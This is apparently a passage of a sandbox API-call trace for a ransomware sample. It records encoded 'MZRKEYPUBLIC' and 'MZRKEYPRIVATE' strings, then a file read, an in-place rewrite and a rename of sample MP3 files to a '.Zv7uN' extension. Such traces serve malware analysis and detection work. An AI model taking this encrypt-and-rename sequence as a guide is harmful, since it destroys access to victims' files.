nDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0115.416] GetCurrentThreadId () returned 0xa30 [0115.416] GetCurrentThreadId () returned 0xa30 [0115.416] GetCurrentThreadId () returned 0xa30 [0115.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0115.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0115.417] GetCurrentThreadId () returned 0xa30 [0115.417] GetCurrentThreadId () returned 0xa30 [0115.417] GetCurrentThreadId () returned 0xa30 [0115.417] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0115.418] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0115.418] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0115.418] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x3ec5d2 [0115.418] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0115.418] VirtualAlloc (lpAddress=0x0, dwSize=0x3f0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ebb0000 [0115.419] ReadFile (in: hFile=0x120, lpBuffer=0x7ebb0010, nNumberOfBytesToRead=0x3ec5d2, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7ebb0010*, lpNumberOfBytesRead=0x18f6a0*=0x3ec5d2, lpOverlapped=0x0) returned 1 [0116.067] CloseHandle (hObject=0x120) returned 1 [0116.067] VirtualAlloc (lpAddress=0x0, dwSize=0x3f0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e7c0000 [0116.078] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e6e0000 [0116.111] VirtualQuery (in: lpAddress=0x7e7c0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e7c0000, AllocationBase=0x7e7c0000, AllocationProtect=0x4, RegionSize=0x3f0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0116.111] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e5c0000 [0116.204] VirtualQuery (in: lpAddress=0x7e6e0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e6e0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0116.204] VirtualAlloc (lpAddress=0x7e6e0000, dwSize=0x50000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e6e0000 [0116.204] VirtualAlloc (lpAddress=0x7e6e0000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e6e0000 [0116.218] VirtualQuery (in: lpAddress=0x7e730000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e730000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0116.218] VirtualAlloc (lpAddress=0x7e730000, dwSize=0x60000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e730000 [0116.219] VirtualAlloc (lpAddress=0x7e730000, dwSize=0x60000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e730000 [0116.235] VirtualQuery (in: lpAddress=0x7e790000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e790000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0116.235] VirtualAlloc (lpAddress=0x7e790000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e790000 [0116.235] VirtualAlloc (lpAddress=0x7e790000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e790000 [0116.242] VirtualQuery (in: lpAddress=0x7e7c0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e7c0000, AllocationBase=0x7e7c0000, AllocationProtect=0x4, RegionSize=0x3f0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0116.242] VirtualAlloc (lpAddress=0x0, dwSize=0x280000, flAllocationType=0x101000, flProtect=0x4) returned 0x7e340000 [0116.385] VirtualQuery (in: lpAddress=0x7e5c0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e5c0000, AllocationBase=0x7e5c0000, AllocationProtect=0x4, RegionSize=0x120000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0116.385] VirtualFree (lpAddress=0x7e5c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.399] VirtualQuery (in: lpAddress=0x7e6e0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e6e0000, AllocationBase=0x7e6e0000, AllocationProtect=0x4, RegionSize=0x50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0116.399] VirtualFree (lpAddress=0x7e6e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.403] VirtualQuery (in: lpAddress=0x7e730000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e730000, AllocationBase=0x7e730000, AllocationProtect=0x4, RegionSize=0x60000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0116.404] VirtualFree (lpAddress=0x7e730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.409] VirtualQuery (in: lpAddress=0x7e790000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7e790000, AllocationBase=0x7e790000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0116.409] VirtualFree (lpAddress=0x7e790000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.432] VirtualQuery (in: lpAddress=0x7e5c0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e5c0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x200000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0116.432] VirtualAlloc (lpAddress=0x7e5c0000, dwSize=0xa0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e5c0000 [0116.432] VirtualAlloc (lpAddress=0x7e5c0000, dwSize=0xa0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e5c0000 [0116.450] VirtualQuery (in: lpAddress=0x7e660000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7e660000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0116.450] VirtualAlloc (lpAddress=0x7e660000, dwSize=0xd0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7e660000 [0116.451] VirtualAlloc (lpAddress=0x7e660000, dwSize=0xd0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7e660000 [0116.799] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0116.820] WriteFile (in: hFile=0x120, lpBuffer=0x7e7c0010*, nNumberOfBytesToWrite=0x3ec5d2, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7e7c0010*, lpNumberOfBytesWritten=0x18f6ac*=0x3ec5d2, lpOverlapped=0x0) returned 1 [0117.094] CloseHandle (hObject=0x120) returned 1 [0117.094] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.Zv7uN" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.zv7un")) returned 1 [0117.095] VirtualFree (lpAddress=0x7ebb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.149] VirtualFree (lpAddress=0x7e7c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.242] VirtualQuery (in: lpAddress=0x7e340000, lpBuffer=0x18f6a4, dwLength=0x1c | out: lpBuffer=0x18f6a4*(BaseAddress=0x7e340000, AllocationBase=0x7e340000, AllocationProtect=0x4, RegionSize=0x280000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0117.242] VirtualFree (lpAddress=0x7e340000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.287] VirtualQuery (in: lpAddress=0x7e5c0000, lpBuffer=0x18f6a4, dwLength=0x1c | out: lpBuffer=0x18f6a4*(BaseAddress=0x7e5c0000, AllocationBase=0x7e5c0000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0117.287] VirtualFree (lpAddress=0x7e5c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.296] VirtualQuery (in: lpAddress=0x7e660000, lpBuffer=0x18f6a4, dwLength=0x1c | out: lpBuffer=0x18f6a4*(BaseAddress=0x7e660000, AllocationBase=0x7e660000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0117.296] VirtualFree (lpAddress=0x7e660000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.309] GetCurrentThreadId () returned 0xa30 [0117.309] GetCurrentThreadId () returned 0xa30 [0117.309] GetCurrentThreadId () returned 0xa30 [0117.309] GetCurrentThreadId () returned 0xa30 [0117.309] GetCurrentThreadId () returned 0xa30 [0117.309] GetCurrentThreadId () returned 0xa30 [0117.309] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1 [0117.309] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0117.309] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0117.309] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459)) returned 1 [0117.310] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3")) returned 0x20 [0117.310] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3", dwFileAttributes=0x80) returned 1 [0117.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0117.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsK